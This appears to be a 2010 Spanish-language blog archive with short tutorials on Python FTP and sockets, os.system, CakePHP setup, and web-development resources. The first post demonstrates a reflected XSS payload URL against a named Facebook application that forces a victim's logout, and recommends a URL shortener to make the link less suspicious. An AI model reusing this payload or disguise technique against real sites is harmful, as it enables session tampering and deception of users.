Rincón Informático

Un rincon para hablar sobre GNU/Linux, seguridad informatica, y mas!!

Archive for the ‘Programacion’ Category

Aplicaciones vulnerables a ataques XSS en Facebook

Posted by jhonber On julio - 26 - 2010

Por estos días aprovechando el tiempo libre, he estado investigando sobre los ataques  (Cross-site scripting) XSS en algunas aplicaciones sobre Facebook. En el blog Desvaríos informáticos en un post publicado hace más de un año hacen una demostración de como incrustar código javascript en una aplicación vulnerable, en el ejemplo al hacer click en un link se abre un alert donde nos muestra las cookies de la página, completamente inofensivo, pero que nos hace pensar en muchas cosas que se pueden hacer con esa información. Aquí esta dicho post  http://rooibo.wordpress.com/2009/04/28/agujero-de-seguridad-en-facebook/.

Con base en el ejemplo de Desvaríos informáticos he preparado una URL donde al hacer click en un link se cerrará la sesión del Facebook de la victima.

Hace menos de cuatro días la forma de cerrar nuestra sesión era haciendo click en un botón Salir con una Url mas o menos así:

http://www.facebook.com/logout.php?h=21ed5705a23da92010c2a3scebs3d&t=27955277&ref=mb

Es decir enviándole los parámetros h, t y ref a la página logout.php de esta forma se “garantizaría” que el usuario al cual pertenece la cookie h fue quien presionó el link de Salida, además evitando por ejemplo: si se redirecciona la victima al script http://www.facebook.com/logout.php no cerraría la sesión  del usuario ya que no tiene parametros validos.

Entonces para lograr nuestro propósito que es cerrar la sesión de la victima tendríamos que atravesar el Dom de la página coger ese link y redireccionar a ese link nuestra victima; hice varias bromas así :) pero luego me di cuenta que habían cambiado la forma de cerrar sesión :S ya no se utilizaba un link sino un formulario que al enviarse le pasa los parámetros de validación al script logout.php claro ya no con el método GET sino con POST. El form es algo como esto:

<form id=”logout_form” method=”post” action=”/logout.php”><input type=”hidden” autocomplete=”off” name=”post_form_id” value=”be875b2cfe5803f1bfc2bafed8c719ee”></input><input type=”hidden” name=”fb_dtsg” value=”CQKDv” autocomplete=”off”></input><input type=”hidden” autocomplete=”off” name=”ref” value=”mb”></input><input type=”hidden” autocomplete=”off” name=”h” value=”0779d7c779f7c29bd254ea9a61d2cd52″></input><label><input type=”submit” value=”Salir”></input></label></form>

Las variables que se le pasan al script son las que están en negrita.

Entonces para cerrar sesión solo hay que darle enviar al formulario y cómo hago eso?

document.getElementById(‘logout_form’).submit()

como vemos ubicamos el Elemento form através de su Id “logout_form” y simplemente le aplicamos el método submit() que equivale a dar click en el botón Salir.

Esta es la url completa donde creamos un link “Responder Quíz” y lo ubicamos en cierta parte de la aplicación cargada, cuando la victima de click en dicho link se ejecuta la línea de código anterior haciendo un logout :D

http://apps.facebook.com/qeres-buen-pol-ceijh/?target=list&send_id=1517598431&x=24897%22%20href=%22%20javascript:document.getElementById(‘logout_form’).submit();%22%3E%3Ch1%20style=%22margin:%2050px%2050px%2050px%2050px;color:blue;position:absolute;left:200px;%22%3E%20Responder%20Qu%C3%ADz%20%3C/h1%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%22

Para que no sea tan sospechoso semejante link, como ya había mencionado nuestro amigo @Epsilon en una publicación Aquí , podemos aprovechar los acortadores de Url’s; esto ya es menos sospechoso:

http://tinyurl.com/26hnrzl

Si usamos un poco nuestra imaginación nos daremos cuenta que hay muchísimas formas de aprovechar esta vulnerabilidad.

Bueno ya con esto creo que es suficiente y espero que se haya entendido, ya que más importante que aprender a usar algo es comprender como funciona y crear nuevas cosas a partir de ese conocimiento.

Hasta la próxima!

Siguiendo con las entradas relacionadas con el gran lenguaje llamado PYTHON , hoy quiero mostrar como con un sencillo y corto codigo de PYTHON podemos  descargar un archivo desde cualquier servidor FTP al cual tengamos acceso.  A continuacion un ejemplo.

#!/usr/bin/python
from ftplib import FTP
ftp = FTP(‘ip_servidor”);
ftp.login(user=’usuario, passwd=’’)
ftp.cwd(“carpeta_donde_esta_el_archivo”);
ftp.retrbinary(‘RETR archivo.txt’,open(‘archiv.txt’,'wb’).write)
ftp.quit()

Como pueden ver es bastante sencillo, peor muy util cuando necesitamos descargar algun tipo de archivo o informacion, en el momento en que trabajamos con Python

Como subir un archivo a un servidor FTP desde Python

Posted by Epsilon On mayo - 28 - 2010

Hace poco necesitaba desarrollar un programa en python que me permitiera subir un archivo a  un servidor FTP desde python. Navegando por la red me encontre con un este enlace, el cual nos muestra un ejemplo de como  subir  un archivo a  un servidor FTP desde python,  haciendo uso de la liberia FTPLIB. A continuacion cito el  ejemplo:

#!/usr/bin/env python

import ftplib
import os

# Datos FTP
ftp_servidor = 'ftp.servidor.com'
ftp_usuario  = 'miusuario'
ftp_clave    = 'miclave'
ftp_raiz     = '/public_html' # donde queremos subir el fichero

# Datos del fichero a subir
fichero_origen = '/home/gorka/mifichero.zip'
fichero_destino = 'mifichero.zip' 

# Conectamos con el servidor
try:
	s = ftplib.FTP(ftp_servidor, ftp_usuario, ftp_clave)
	try:
		f = open(fichero_origen, 'rb')
		s.cwd(ftp_raiz)
		s.storbinary('STOR ' + fichero_destino, f)
		f.close()
		s.quit()
	except:
		print "No se ha podido encontrar el fichero " + fichero_origen
except:
	print "No se ha podido conectar al servidor " + ftp_servidor

Como ven es algo bastante sencillo de realizar,  solo basta con realizar la conexion y  de subir el archivo a un servidor FTP en el cual tengamos acceso. Espero lo hayan comprendido y les sea util.

He querido compartir con ustedes este videotutorial que he creado, para mostrar una magnifica herramienta de CakePhp que se usa desde consola llamada Bake, y que nos facilita enormemente el desarrollo de nuestras aplicaciones con este framework.

En este videotutorial desarrollaremos una aplicación web, de forma muy rápida y lo mejor; y que aún me sorprende sin escribir ni una sola línea de código ;) . Bueno esto debido a que CakePhp se ha creado con los principios de Ruby On Rails.

Anteriormete había dedicado una entrada a la instalación de CakePhp acá.

Que necesitamos?

- Servidor web (Apache)

- Php5

- php5-cli

Para seguir este videotutorial es necesario tener algunos conceptos claros:

- Patrón de diseño MVC (Modelo – Vista – Controlador)

- Conceptos básicos sobre bases de datos

- Algunos comandos de Gnu/Linux

Formato .ogg – Tamaño (109.84 MB) – Descargar

Saludos! Hasta la próxima.

Programa Cliente-Servidor en Python

Posted by Epsilon On abril - 14 - 2010

Navegando por la web me encuentro con este enlace, el cual contiene la informacion que estaba buscando  y quiero compartirla hoy con ustedes. Se trata de un programa  Cliente-Servidor desarrollado en Python. Para aquellas personas que no saben que es un programa cliente-servidor:

Esta arquitectura consiste básicamente en un cliente que realiza peticiones a otro programa (el servidor) que le da respuesta. Aunque esta idea se puede aplicar a programas que se ejecutan sobre una sola computadora es más ventajosa en un sistema operativo multiusuario distribuido a través de una red de computadoras.

La separación entre cliente y servidor es una separación de tipo lógico, donde el servidor no se ejecuta necesariamente sobre una sola máquina ni es necesariamente un sólo programa. Los tipos específicos de servidores incluyen los web, los de archivo, los del correo, etc. Mientras que sus propósitos varían de unos servicios a otros, la arquitectura básica seguirá siendo la misma.

Esta arquitectura la usamos todos los dias, por ejemplo, cuando navegamos  accedemos al servidor web desde nuestro cliente el cual es el navegador, independientemente de cual sea.

Ahora, desarrollar un programa de este tipo en Python es demasiado sencillo,  en esta ocasion mostrare el codigo del cliente.py   y servidor.py y cualquier persona con conocimientos basicos en no tendra problemas en entenderlo y modificarlo a su gusto:

servidor.py

#+----------------------------------+
#| Server  TCP/IP                    |
#+----------------------------------+
 import socket
#Creo el  objeto socket
 s = socket.socket()

#Invoco  al metodo bind, pasando como parametro
#una tupla con IP y puerto
 s.bind(("localhost",  9999))

#Invoco  el metodo listen para escuchar conexiones
#con el numero maximo de  conexiones como parametro
 s.listen(1)

#El  metodo accept bloquea la ejecucion a la espera de conexiones
#accept  devuelve un objeto socket y una tupla Ip y puerto
 sc, addr = s.accept()
 print "Recibo conexion de " + str(addr[0]) + ":" + str(addr[1])

while  True:

#invoco  recv sobre el socket cliente, para recibir
#un maximo (segun parametro)  de 1024 bytes
 recibido = sc.recv(1024)
 if  recibido == "by":
 break
 print  "Recibido:", recibido

#Envio  la respuesta al socket cliente
 sc.send(recibido)

print  "adios"

#cierro  sockets cliente y servidor
 sc.close()
 s.close()

Cliente.py

#+----------------------------------+ #| Client TCP/IP                    | #+----------------------------------+ import socket s = socket.socket() #invoco el metodo connect del socket pasando como parametro la tupla IP , puerto s.connect(("localhost", 9999)) while True: mensaje = raw_input("Mensaje a enviar: ") #invoco el metodo send pasando como parametro el string ingresado por el usuario s.send(mensaje) if mensaje == "by": break print "adios" #cierro socket s.close()

Como pueden ver es algo muy sencillo de realizar y comprender, solo falta cambiar la direccion IP en el cliente, por la IP donde estara el programa servidor a la escucha.  Todo lo que se desee que realice el programa servidor cuando reciba el mensaje by tendra que ir dentro del if.

Espero que lo hayan entendido, a mi me servio mucho este ejemplo, y por eso quiero agradecer publicamente al autor de esta entrada por compartir  buenos conocimientos. Recuerden la identacion ya que es fundamental en Python.

Como ejecutar comandos del sistema desde Python

Posted by Epsilon On abril - 9 - 2010

Hay ocasiones en las cuales necesitamos hacer uso de los comandos de nuestra amada  y querida shell desde algún programa que estemos desarrollando en Python, gracias a la facilidad de la serpiente (una de sus grandes características) podemos hacer esto de forma muy sencilla.  A continuación un ejemplo:

Creamos un archivo llamado prueba.py con el siguiente contenido:

#!/usr/bin/python
import os

os.system(“uname -a”)

Importamos el modulo OS y hacemos uso de la funcion system, la cual nos permite ejecutar un comando de la consola. sobra decir que en el ejemplo basta reemplazar el comando “uname -a” por el  que nosotros deseemos. Ahora ejecutamos el archivo *.py   de esta forma:

python prueba.py

y el resultado sera:

pythonshell Como ejecutar comandos del sistema desde Python

Como pueden ver es verdaderamente fácil ejecutar comandos del sistema operativo en lenguaje python, esto es importante ya que podemos ejecutar cualquier comando e incluso llamar a un script en bash o lo que se nos ocurra. Antes de terminar quiero aclarar que no soy muy experto en el tema, muy seguramente habrá formas mas sencillas, correctas y potentes para realizar este tipo de cosas, espero que les haya parecido interesante y no duden en comentar.

Quiero compartir con ustedes estos libros que seguramente a quienes les interesa el Desarrollo sobre la web, les será de gran utilidad.

Podemos acceder a dichos libros Online o también los podemos descargar en formato pdf. El material está bajo la licencia Creative Commons. (Idioma Español)

Pagina principal: www.librosweb.es

directa:
- Introducción a AJAX -> acá

- Introducción a JavaScript -> acá

- Introducción a CSS -> acá

- CSS avanzado -> acá

- Introducción a XHTML -> acá

Symfony, la guía definitiva:

- Symfony 1.0, la guía definitiva -> acá

- Symfony 1.1, la guía definitiva -> acá

- Symfony 1.2, la guía definitiva -> acá

- El tutorial Jobeet de symfony 1.2 -> acá

- El tutorial Jobeet de symfony 1.3 -> acá

Bueno espero que les sea de gran ayuda a todos, nunca esta demás tener un libro a la mano cuando estemos en problemas :D . Hasta la próxima!!

[Desarrollo Web] Videotutoriales Php y Mysql

Posted by jhonber On marzo - 8 - 2010

Hace un tiempo tenía planeado hacer un curso de Php, para todos los lectores de RINCON INFORMATICO, pero por cuestiones de disponibilidad de tiempo, no lo pude llevar a cabo; A demás en la web hay Tutoriales muy buenos y en esta oportunidad les voy a recomendar una serie de video tutoriales sobre Php y Mysql, los cuales me han sido de gran ayuda.

El sitio es un verdadero Centro De Enseñanza Virtual www.illasaron.com Aprovecho para darle las gracias la Maestro Jesus Conde, por tan buena labor -> http://twitter.com/0utKast.

Hay una gran cantidad de video tutoriales como:

Desarrollo web

- PHP-MYSQL

- ACTIONSCRIPT

- Curso PHP-Nuke completo

- CURSO COMPLETO XHTML

- CURSO DE AJAX

- CURSO CSS

- Curso Completo Drupal Fundamentales

- Curso Completo de JQuery

- Curso de Joomla por Roosvelt

También hay otros recursos como:

VTs. MUNDO LINUX, VTs. OPENOFFICE, CURSO DE JAVA, Curso C++, UBUNTU ES PARA TODOS, UBUNTU , etc.

En fin no podría mencionarlos a todos, pero son muchísimos y cada cual buscará los video tutoriales de su interés.

Cómo acceder a los video tutoriales?

- Se requiere crear una cuenta de usuario aquí

- Una vez registrados vamos al menú donde dice “ Videos”

- Acá aparece otro menú “Categorías”  con las siguientes opciones:

01.- VIDEOTUTORIALES
Pulsa para acceder a una lista de todos los videotutoriales que se encuentran actualmente para directa en la web.
02.-FREEWARE
Pulsa para una lista de programas, utilidades y recursos gratuitos y de calidad en directa en la Web.
03.-RECURSOS WEB
Pulsa para una lista completa de los distintos recursos web que se encuentran en directa en la Web.
04.-CURSOS COMPLETOS
Pulsa para acceder a una lista de todos los cursos completos que se encuentran en directa en la web.
El curso de PHP y Mysql se encuentra en “04.-CURSOS COMPLETOS”.
Espero que aprovechen mucho este excelente sitio, para avanzar en sus estudios. Hasta la próxima!!

Como instalar CakePhp en Debian

Posted by jhonber On febrero - 17 - 2010

Wikipedia:

CakePhp es un framework de desarrollo de aplicaciones web escrito en PHP, creado sobre los conceptos de Ruby on Rails.

cakephp Como instalar CakePhp en Debian

Para más información -> página oficial http://cakephp.org/

Lo primero que necesitamos es una versión de CakePhp Descargar.

Nota: Necesitamos un Servidor Apache.

Una vez descargado y descomprimido el archivo, nos quedará una carpeta con un nombre como este: cake_1.X.X  por facilidad es mejor cambiarle el nombre, podríamos colocarle “cake”.

Debemos copiar la carpeta completa en  /var/www

Ahora probamos en el navegador:

http://localhost/cake

Si nos sale algo como esto:

cake3g Como instalar CakePhp en Debian

Significa que no esta debidamente configurado el Servidor Apache.

Configurando el apache

Habilitamos el modulo rewrite.

#  a2enmod  rewrite

Modificamos el archivo   /etc/apache2/sites-available/default

# vim  /etc/apache2/sites-available/default

Buscamos estas líneas:

Options Indexes FollowSymLinks MultiViews

AllowOverride None

Order allow,deny

allow from all

Y cambiamos None por All, quedando así:

Options Indexes FollowSymLinks MultiViews

AllowOverride All

Order allow,deny

allow from all

Por último reiniciamos el Apache

#  /etc/init.d/apache2  restart

Probamos de nuevo en el navegador, y nos debe salir algo como esto (con colores):

cake4d Como instalar CakePhp en Debian

Ya podemos empezar a cocinar nuestras recetas :D !!.

Algunas personas se pueden estar preguntando como se puede configurar CakePhp para ser accedido desde el directorio public_html. Esto se logra indicándole a CakePhp la ruta para que pueda ser visible desde dicho directorio:

Agregamos esta línea  RewriteBase  /~user_dir/cake_install/ en  cake/.htaccess  y también en cake/app/webroot/.htaccess:

user_dir = Directorio personal.

cake_install = Nombre de la carpeta que contiene CakePhp.

#  vim  cake/.htaccess

RewriteEngine on

RewriteBase  /~user_dir/cake_install/

RewriteRule ^$ app/webroot/ [L]

RewriteRule (.*) app/webroot/$1 [L]

# vim cake/app/webroot/.htaccess

RewriteEngine On

RewriteBase /~user_dir/cake_install/

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_FILENAME} !-f

RewriteRule ^(.*)$ index.php?url=$1 [QSA,L]

Colocamos en el navegador:

http://localhost/~usuario/cake

Ahora si a cocinar!! Hasta la próxima.